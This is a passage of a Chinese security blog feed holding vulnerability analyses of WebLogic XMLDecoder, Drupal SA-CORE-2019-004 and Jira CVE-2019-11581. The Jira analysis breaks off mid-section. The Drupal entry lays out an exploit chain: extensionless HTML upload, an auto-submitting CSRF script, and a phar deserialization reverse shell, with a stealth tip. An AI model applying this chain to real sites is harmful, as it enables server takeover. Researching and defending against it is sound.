&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190620124924.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这回终于是采用了白名单方式，&lt;code&gt;allowedName&lt;/code&gt;如下&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190620124935.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到&lt;code&gt;allowedName&lt;/code&gt;严格限制了可以使用的标签，并且也限制了标签可以拥有的属性，值得注意的是&lt;code&gt;allowedName&lt;/code&gt;不再允许&lt;code&gt;field&lt;/code&gt;标签了，emmm&amp;hellip;&lt;/p&gt;

&lt;h3 id=&#34;总结&#34;&gt;总结&lt;/h3&gt;

&lt;p&gt;这个漏洞是当时应急时简单分析的，后续有时间会详细整理一下。&lt;/p&gt;

&lt;p&gt;从整个&lt;code&gt;XMLDecoder&lt;/code&gt;反序列化漏洞的来看（CVE-2017-3506 -&amp;gt; CVE-2017-10271(10352) -&amp;gt; CVE-2019-2725 -&amp;gt; CVE-2019-2729），使用黑名单修补漏洞是不靠谱的，永远不知道下一次绕过是在什么时候，而这次的白名单修复方式会不会还存在缺陷呢？此处还得打一个问号。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>SA-CORE-2019-004 Drupal内核从XSS到RCE漏洞分析</title>
      <link>https://kylingit.com/blog/sa-core-2019-004-drupal%E5%86%85%E6%A0%B8%E4%BB%8Exss%E5%88%B0rce%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Mon, 22 Apr 2019 15:19:04 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/sa-core-2019-004-drupal%E5%86%85%E6%A0%B8%E4%BB%8Exss%E5%88%B0rce%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h3 id=&#34;0x01-概述&#34;&gt;0x01 概述&lt;/h3&gt;

&lt;p&gt;3月20日，Drupal官方发布&lt;code&gt;SA-CORE-2019-004&lt;/code&gt;漏洞预警，修复了一处文件名处理异常，当我们上传特殊文件名时可以绕过限制在服务器上创建“无后缀”文件，精心构造的文件经过浏览器解析后可以触发XSS漏洞，再进一步可以达到代码执行的目的。&lt;/p&gt;

&lt;p&gt;官方描述该漏洞为中危影响，因为该漏洞需要登录，并且需要作者权限来上传文件才能触发。&lt;/p&gt;

&lt;p&gt;详细参考：&lt;a href=&#34;https://www.drupal.org/sa-core-2019-004&#34;&gt;https://www.drupal.org/sa-core-2019-004&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x02-漏洞分析&#34;&gt;0x02 漏洞分析&lt;/h3&gt;

&lt;p&gt;根据官方&lt;a href=&#34;https://github.com/drupal/core/commit/933f4f9d620af5807c4eb4ec17dc4eb4193a667c&#34;&gt;补丁&lt;/a&gt;，最主要修改了一处&lt;code&gt;preg_replace&lt;/code&gt;异常，修改的方法为&lt;code&gt;file.inc:file_create_filename()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190422165341.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;该方法的主要功能是处理上传文件的路径，返回形如&lt;code&gt;public://2019-04/1.png&lt;/code&gt;的路径，然后由&lt;code&gt;drupal&lt;/code&gt;自身实现的方法将&lt;code&gt;public://&lt;/code&gt;路径转换为相对路径。如果文件系统已经存在同名文件，则在文件名会追加&lt;code&gt;_0&lt;/code&gt;, &lt;code&gt;_1&lt;/code&gt;。问题出在这行处理&lt;code&gt;utf-8&lt;/code&gt;编码的代码上&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$basename = preg_replace(&#39;/[\x00-\x1F]/u&#39;, &#39;_&#39;, $basename);&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;这行代码的意思的如果文件名中含有&lt;code&gt;0x00-0x1F&lt;/code&gt;区间的字符时，将其转换为&lt;code&gt;_&lt;/code&gt;。查看标准&lt;code&gt;ASCII&lt;/code&gt;码表，字符所对应的十进制数范围为&lt;code&gt;0-127&lt;/code&gt;，&lt;code&gt;0x00-0x1F&lt;/code&gt;对应的数为&lt;code&gt;0-31&lt;/code&gt;，也就是前32个不常见或者说不可显字符。&lt;strong&gt;假如我们传入的字符范围大于128时，&lt;code&gt;preg_replace&lt;/code&gt;便会出错&lt;/strong&gt;，返回一个&lt;code&gt;NULL&lt;/code&gt;值，于是此时的&lt;code&gt;basename&lt;/code&gt;便被赋值为空，而下面对&lt;code&gt;basename&lt;/code&gt;也没有多余的操作，于是我们就得到了一个没有后缀的文件，而且这个文件的名称也是可以预测的，相关代码如下&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;if (file_exists($destination)) {
    // Destination file already exists, generate an alternative.
    $pos = strrpos($basename, &#39;.&#39;);
    if ($pos !== FALSE) {
      $name = substr($basename, 0, $pos);
      $ext = substr($basename, $pos);
    }
    else {
      $name = $basename;
      $ext = &#39;&#39;;
    }

    $counter = 0;
    do {
      $destination = $directory . $separator . $name . &#39;_&#39; . $counter++ . $ext;
    } while (file_exists($destination));
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在开始有一个&lt;code&gt;file_exists&lt;/code&gt;判断，所以我们需要上传相同文件至少两次，才能进入&lt;code&gt;if&lt;/code&gt;分支。由于&lt;code&gt;$basename&lt;/code&gt;为空，&lt;code&gt;$name&lt;/code&gt;也被赋值为空，接下来进入一个循环，如果文件已经存在，就把文件命名为&lt;code&gt;路径+分隔符+name+_+counter+后缀&lt;/code&gt;的形式，也就是同名文件会被加上后缀&lt;code&gt;_0&lt;/code&gt; &lt;code&gt;_1&lt;/code&gt;等，而此时表达式的值即为&lt;code&gt;下划线+计数器&lt;/code&gt;的值，于是我们在&lt;code&gt;/sites/default/files/pictures/&amp;lt;YYYY-MM&amp;gt;/&lt;/code&gt;目录下得到类似&lt;code&gt;_0 _1&lt;/code&gt;的无后缀文件。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190422171620.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;值得注意的是，上传的文件可以是任意类型，不局限于图片文件，可以通过&lt;code&gt;http://drupal-site/sites/default/files/&amp;lt;YYYY-MM&amp;gt;/_1&lt;/code&gt;访问到文件。&lt;/p&gt;

&lt;h3 id=&#34;0x03-尝试利用&#34;&gt;0x03 尝试利用&lt;/h3&gt;

&lt;h4 id=&#34;初探&#34;&gt;初探&lt;/h4&gt;

&lt;p&gt;此时我们想到，可以上传一个html文件，诱使管理员点击形成一个XSS漏洞。&lt;/p&gt;

&lt;p&gt;但是这里存在一个问题，当通过&lt;code&gt;Home &amp;gt;&amp;gt; Add content &amp;gt;&amp;gt; 上传Image&lt;/code&gt;上传文件时，如果传了一个纯HTML文件，是无法上传成功的，因为在&lt;code&gt;core/modules/file/file.module&lt;/code&gt;里有一个检查&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$errors = file_validate($file, $validators);&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;file_validate()&lt;/code&gt;方法通过下图4个方法检查图片有效性&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190423111858.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;其中&lt;code&gt;file_validate_is_image&lt;/code&gt;方法使用了&lt;code&gt;ImageFactory&lt;/code&gt;库，非图片文件无法通过这个检查，于是上传失败，也就无法在&lt;code&gt;sites/default/files/&amp;lt;YYYY-MM&amp;gt;/&lt;/code&gt;生成文件。&lt;/p&gt;

&lt;p&gt;当然这里是可以绕过的，那就是在上传的内容前加上图片文件头，例如&lt;code&gt;GIF&lt;/code&gt;或&lt;code&gt;GIF89a&lt;/code&gt;，能够绕过&lt;code&gt;file_validate_is_image&lt;/code&gt;检查上传文件，然而这并没有什么用，因为访问&lt;code&gt;http://drupal-site/sites/default/files/&amp;lt;YYYY-MM&amp;gt;/_1&lt;/code&gt;时，浏览器无法判断文件类型，所以不会解析&amp;hellip;&lt;/p&gt;

&lt;p&gt;也就是说&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;纯HTML文件无后缀，浏览器可以解析，但是无法上传；&lt;/li&gt;
&lt;li&gt;增加图片文件头，可以上传，但是浏览器不能解析；&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;于是现在陷入一个两难境地，需要找个另外的点。&lt;/p&gt;

&lt;h4 id=&#34;突破&#34;&gt;突破&lt;/h4&gt;

&lt;p&gt;我们注意到在&lt;code&gt;新建文章&lt;/code&gt;页面除了上传图片外，还有一个编辑器内置的图片上传接口，从这个接口分析一下&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190423111342.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;跟入相关方法，之前的流程都是一样的，同样会进入&lt;code&gt;file_validate()&lt;/code&gt;方法，同样检测文件合法性，但是此时的&lt;code&gt;$validators&lt;/code&gt;有所不一样：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190423111805.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;file_validate_is_image&lt;/code&gt;变成了&lt;code&gt;file_validate_image_resolution&lt;/code&gt;，这个方法是检测图片是否符合大小，但是对于非图片文件会直接忽略，返回一个空数组&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190423113048.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;方法说明里也说了会忽略非图片文件&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Non-image files will be ignored.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;于是&lt;code&gt;file_validate()&lt;/code&gt;不报错，校验通过，成功上传文件，目录是&lt;code&gt;sites/default/files/inline-images/&lt;/code&gt;，访问文件成功触发&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190423113606.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;现在可以利用这个漏洞上传一个html文件，攻击面就扩大了许多，简单的可以是一个XSS，复杂的可以是个钓鱼页面(这个漏洞需要作者权限，故可以钓鱼管理员)，再进一步，如何进行命令执行甚至反弹一个shell呢？&lt;/p&gt;

&lt;h4 id=&#34;组合拳&#34;&gt;组合拳&lt;/h4&gt;

&lt;p&gt;联想到1月份Drupal官方修复的&lt;a href=&#34;https://www.drupal.org/sa-core-2019-002&#34;&gt;SA-CORE-2019-002&lt;/a&gt;漏洞，文件操作函数处理&lt;code&gt;phar&lt;/code&gt;文件时会触发反序列化形成代码执行漏洞，在此处正好可以用上。&lt;code&gt;phar&lt;/code&gt;反序列化风险影响几乎所有文件操作函数，而在Drupal中&lt;code&gt;File system&lt;/code&gt;功能就存在这个缺陷，在设置本地临时文件夹的时候会进行路径检查，相关方法是&lt;code&gt;system_check_directory()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190423135902.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在这个方法中存在&lt;code&gt;is_dir()&lt;/code&gt;函数，当&lt;code&gt;is_dir()&lt;/code&gt;函数处理&lt;code&gt;phar:// stream wrapper&lt;/code&gt;时，便会触发反序列化，如果传入一个恶意构造的&lt;code&gt;phar&lt;/code&gt;文件就可以造成代码执行。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190423140328.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190425174400.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;因此现在的思路是，上传一个&lt;code&gt;phar&lt;/code&gt;文件，诱使管理员点击链接把临时文件路径设置为&lt;code&gt;phar://test.phar&lt;/code&gt;触发漏洞反弹shell&lt;/p&gt;

&lt;h3 id=&#34;0x04-漏洞利用&#34;&gt;0x04 漏洞利用&lt;/h3&gt;

&lt;p&gt;通过上述分析，有几个限制需要突破：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;生成的phar文件不能通过图片上传接口上传，否则会失败；&lt;/li&gt;
&lt;li&gt;需要写一个html让管理员打开链接自动发送请求来修改临时文件路径；&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;因此漏洞利用分为以下几步：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;生成一个能反弹shell的phar文件；&lt;/p&gt;

&lt;p&gt;Drupal反序列化的POP链已经比较多了，可以参考这里&lt;a href=&#34;https://kylingit.com/blog/%E7%94%B1phpggc%E7%90%86%E8%A7%A3php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/&#34;&gt;由 PHPGGC 理解 PHP 反序列化漏洞&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;选择&lt;code&gt;GuzzleHttp\Psr7&lt;/code&gt;类，使用&lt;a href=&#34;https://kylingit.com/blog/%E7%94%B1phpggc%E7%90%86%E8%A7%A3php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/&#34;&gt;PHARGGC&lt;/a&gt;直接生成phar文件&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190423143704.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;上传phar文件&lt;/p&gt;

&lt;p&gt;把&lt;code&gt;out.phar&lt;/code&gt;修改为png后缀，通过编辑器的接口上传，获得文件路径&lt;/p&gt;

&lt;p&gt;&lt;code&gt;http://127.0.0.1/drupal-8.6.5/sites/default/files/inline-images/phar.png&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;生成一个html文件&lt;/p&gt;

&lt;p&gt;这个html文件需要让管理员打开链接时自动发送请求来修改临时文件路径，与&lt;code&gt;CSRF&lt;/code&gt;非常相似，所以直接使用&lt;code&gt;burpsuite&lt;/code&gt;抓包生成&lt;code&gt;CSRF PoC&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190423150512.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;然后增加一个自动点击提交表单的操作，省去手动submit&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-html&#34;&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;
    var a  = document.getElementById(&#39;form1&#39;)
    a.submit()
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;再通过编辑器的接口上传这个html文件，修改文件名的&lt;code&gt;ascii&lt;/code&gt;值大于128。&lt;strong&gt;注意需要上传至少两次&lt;/strong&gt;，以生成&lt;code&gt;_0&lt;/code&gt;、&lt;code&gt;_1&lt;/code&gt;文件&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190423153014.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;访问&lt;code&gt;http://drupal-site/sites/default/files/inline-images/_0&lt;/code&gt;时浏览器解析为html并自动提交表单，触发漏洞&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190423153510.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这里因为反弹shell会把页面卡住，可以增加一个跳转首页，更隐蔽地触发漏洞。&lt;/p&gt;

&lt;h3 id=&#34;0x05-总结&#34;&gt;0x05 总结&lt;/h3&gt;

&lt;p&gt;这个漏洞由一个&lt;code&gt;preg_replace()&lt;/code&gt;引起，由于没有正确处理异常，导致可以上传“任意”文件；而&lt;code&gt;phar&lt;/code&gt;反序列化漏洞在一年前就已经公布了，把几个漏洞组合在一起形成一条漂亮的攻击链，值得学习。站在管理员角度应该关注安全更新，及时更新应用，而对于开发者来说也要重视安全风险，不可忽视任何一处不起眼的安全隐患。&lt;/p&gt;

&lt;p&gt;参考：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://github.com/drupal/core/commit/933f4f9d620af5807c4eb4ec17dc4eb4193a667c&#34;&gt;https://github.com/drupal/core/commit/933f4f9d620af5807c4eb4ec17dc4eb4193a667c&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://www.zerodayinitiative.com/blog/2019/4/11/a-series-of-unfortunate-images-drupal-1-click-to-rce-exploit-chain-detailed&#34;&gt;https://www.zerodayinitiative.com/blog/2019/4/11/a-series-of-unfortunate-images-drupal-1-click-to-rce-exploit-chain-detailed&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://paper.seebug.org/897/&#34;&gt;https://paper.seebug.org/897/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>CVE-2019-11581 Atlassian Jira未授权模板注入漏洞分析</title>
      <link>https://kylingit.com/blog/cve-2019-11581-atlassian-jira%E6%9C%AA%E6%8E%88%E6%9D%83%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Fri, 22 Feb 2019 22:19:04 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/cve-2019-11581-atlassian-jira%E6%9C%AA%E6%8E%88%E6%9D%83%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;h3 id=&#34;环境搭建&#34;&gt;环境搭建&lt;/h3&gt;

&lt;p&gt;使用&lt;code&gt;atlas-debug&lt;/code&gt;调试&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;下载安装&lt;code&gt;Atlassian SDK&lt;/code&gt;，&lt;a href=&#34;https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/&#34;&gt;地址&lt;/a&gt;；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;atlas-create-jira-plugin&lt;/code&gt;创建一个插件，&lt;a href=&#34;https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/&#34;&gt;参考&lt;/a&gt;；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;atlas-debug&lt;/code&gt;开启调试，http端口2990，调试端口5005；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IDEA&lt;/code&gt;打开&lt;code&gt;MyPlugin&lt;/code&gt;，把&lt;code&gt;WEB-INF/classes&lt;/code&gt;和&lt;code&gt;WEB-INF/lib&lt;/code&gt;加入library；&lt;/li&gt;
&lt;li&gt;新建&lt;code&gt;Remote&lt;/code&gt;调试；&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;其他：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;如果没有设置&lt;code&gt;%JAVA_HOME%&lt;/code&gt;可以通过&lt;code&gt;SET JAVA_HOME=d:\jdk1.8&lt;/code&gt;设置；&lt;/li&gt;
&lt;li&gt;默认不开启电子邮件发送，通过&lt;code&gt;atlas-debug --jvmargs -Datlassian.mail.senddisabled=false&lt;/code&gt;开启；&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&#34;第一部分-注入代码并生成邮件&#34;&gt;第一部分：注入代码并生成邮件&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563246860552.png&#34; alt=&#34;1563246860552&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;post&lt;/code&gt;的数据通过&lt;code&gt;JiraSafeActionParameterSetter-&amp;gt;setActionProperty()&lt;/code&gt;方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563271320369.png&#34; alt=&#34;1563271320369&#34; /&gt;&lt;/p&gt;

&lt;p&gt;通过反射调用到&lt;code&gt;ContactAdministrators.setSubject()&lt;/code&gt;方法，把&lt;code&gt;ContactAdministrators&lt;/code&gt;对象的&lt;code&gt;subject&lt;/code&gt;属性设置为传入的&lt;code&gt;subject&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;随后通过&lt;code&gt;ContactAdministrators.doExecute()&lt;/code&gt;调用&lt;code&gt;send()&lt;/code&gt;方法，在这个方法中会查找系统中已激活的管理员，通过&lt;code&gt;this.sendTo(administrator)&lt;/code&gt;将邮件发送给该管理员&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563247236827.png&#34; alt=&#34;1563247236827&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;sendTo()&lt;/code&gt;流程中，&lt;code&gt;Jira&lt;/code&gt;需要通过&lt;code&gt;EmailBuilder()&lt;/code&gt;方法创建一个邮件队列对象，随后将该对象放入邮件发送队列中。由于队列等待原因，所以触发&lt;code&gt;payload&lt;/code&gt;可能需要等待一段时间，并且当邮件发送失败时系统会继续尝试发送邮件，所以&lt;code&gt;payload&lt;/code&gt;可能会触发多次。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563247471810.png&#34; alt=&#34;1563247471810&#34; /&gt;&lt;/p&gt;

&lt;p&gt;创建队列的方法有点长，精简一下就是这个样子&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;MailQueueItem item = (new EmailBuilder()).withSubject(this.subject).withBodyFromFile().addParameters().renderLater();
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;通过&lt;code&gt;EmailBuilder&lt;/code&gt;的&lt;code&gt;withSubject()&lt;/code&gt;方法，创建一个&lt;code&gt;TemplateSources$fragment&lt;/code&gt;对象，参数即是我们传入的&lt;code&gt;payload&lt;/code&gt;，随后调用&lt;code&gt;renderLater()&lt;/code&gt;方法创建出&lt;code&gt;EmailBuilder&lt;/code&gt;对象，再将该对象作为参数传递给&lt;code&gt;RenderingMailQueueItem&lt;/code&gt;类，&lt;code&gt;RenderingMailQueueItem&lt;/code&gt;的继承关系是如下图，于是最终创建出一个&lt;code&gt;MailQueueItem&lt;/code&gt;对象，并将该对象放入邮件发送队列。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563248388715.png&#34; alt=&#34;1563248388715&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;第二部分-发送邮件&#34;&gt;第二部分：发送邮件&lt;/h3&gt;

&lt;p&gt;当我们把&lt;code&gt;payload&lt;/code&gt;注入到模板中之后，邮件进入待发送队列，&lt;code&gt;Jira&lt;/code&gt;中处理邮件队列的具体流程如下：&lt;/p&gt;

&lt;p&gt;通过模板引擎&lt;code&gt;(getTemplatingEngine)&lt;/code&gt;生成一个Velocity模板，通过&lt;code&gt;applying()&lt;/code&gt;方法生成&lt;code&gt;RenderRequest&lt;/code&gt;对象，之后根据该对象成员变量&lt;code&gt;source&lt;/code&gt;的类型，调用不同的方法解析模板，漏洞的产生正是由于这个差异造成的，下面详细分析一下。&lt;/p&gt;

&lt;p&gt;首先进入&lt;code&gt;RenderingMailQueueItem().send()&lt;/code&gt;方法，调用&lt;code&gt;this.emailRenderer.render()&lt;/code&gt;，随后调用&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;this.getTemplatingEngine().render(this.subjectTemplate).applying(contextParams).asPlainText();
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个过程中前面是为了获取模板解析引擎（VelocityTemplatingEngine）并传入主题模板（此处为payload数据），通过&lt;code&gt;applying()&lt;/code&gt;方法创建&lt;code&gt;VelocityContext&lt;/code&gt;对象并把&lt;code&gt;payload&lt;/code&gt;赋值给成员变量&lt;code&gt;source&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563267497538.png&#34; alt=&#34;1563267497538&#34; /&gt;&lt;/p&gt;

&lt;p&gt;随后重写了抽象类&lt;code&gt;StringRepresentation&lt;/code&gt;的&lt;code&gt;with()&lt;/code&gt;方法，在&lt;code&gt;with()&lt;/code&gt;方法中调用了&lt;code&gt;asPlainText()&lt;/code&gt;方法&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;DefaultRenderRequest.this.asPlainText(sw)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;asPlainText()&lt;/code&gt;的作用是通过&lt;code&gt;Velocity&lt;/code&gt;模板引擎解析模板，其中的调用链是&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;toWriterImpl()-&amp;gt;writeEncodedBodyForContent()-&amp;gt;evaluate()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;而在&lt;code&gt;evaluate()&lt;/code&gt;方法中生成了&lt;code&gt;AST&lt;/code&gt;结构，随后通过反射调用传入的&lt;code&gt;payload&lt;/code&gt;，完成代码执行。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563245970455.png&#34; alt=&#34;1563245970455&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;asPlainText()&lt;/code&gt;之后的调用栈如下&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563246607016.png&#34; alt=&#34;1563246607016&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在处理完Object模板后会调用父类&lt;code&gt;SingleMailQueueItem&lt;/code&gt;的send()方法，通过&lt;code&gt;smtpMailServer.sendWithMessageId()&lt;/code&gt;发送邮件，由于没有正确配置&lt;code&gt;SMTP&lt;/code&gt;服务会抛出异常，但在连接&lt;code&gt;SMTP&lt;/code&gt;服务之前漏洞已经触发了，控制台也能看到&lt;code&gt;MailQueue&lt;/code&gt;执行的过程。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563257377543.png&#34; alt=&#34;1563257377543&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;思考&#34;&gt;思考&lt;/h3&gt;

&lt;p&gt;上述漏洞流程走完了，但还有一个关键问题没有解决：为什么邮件主题&lt;code&gt;Subject&lt;/code&gt;会被解析成&lt;code&gt;AST&lt;/code&gt;结构并被执行呢？按照正常发送反馈的逻辑，一封邮件的主题（字符串）似乎没有必要解析成&lt;code&gt;AST&lt;/code&gt;，导致差异的原因是什么？&lt;/p&gt;

&lt;p&gt;发送一封正常的“联系管理员”邮件，走一遍流程&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563268202907.png&#34; alt=&#34;1563268202907&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563268493868.png&#34; alt=&#34;1563268493868&#34; /&gt;&lt;/p&gt;

&lt;p&gt;对比一下两个处理流程，当发送正常反馈时，&lt;code&gt;writeEncodedBody()&lt;/code&gt;中调用的是&lt;code&gt;this.getVe().mergeTemplate&lt;/code&gt;，通过&lt;code&gt;Velocity&lt;/code&gt;引擎的&lt;code&gt;ClasspathResourceLoader()&lt;/code&gt;类的&lt;code&gt;getResourceStream()&lt;/code&gt;方法加载模板文件，此处的模板是&lt;code&gt;templates/email/html/contactadministrator.vm&lt;/code&gt;，随后还会进行&lt;code&gt;header&lt;/code&gt;、&lt;code&gt;footer&lt;/code&gt;等正常加载流程，最终渲染出整个页面。而发送&lt;code&gt;payload&lt;/code&gt;时，通过asPlainText()创建出TemplateSource$Fragment对象，再通过DefaultRenderRequest构造方法把&lt;code&gt;source&lt;/code&gt;成员变量赋值为这个&lt;code&gt;Fragment&lt;/code&gt;对象，于是进入第一个分支，调用的是&lt;code&gt;this.getVe().evaluate()&lt;/code&gt;，最终调用&lt;code&gt;ASTMethod.execute()&lt;/code&gt;，这正是前面说的差异性导致的两个不同处理逻辑。&lt;/p&gt;

&lt;p&gt;回过头看一下Velocity渲染的大致流程：&lt;/p&gt;

&lt;blockquote&gt;
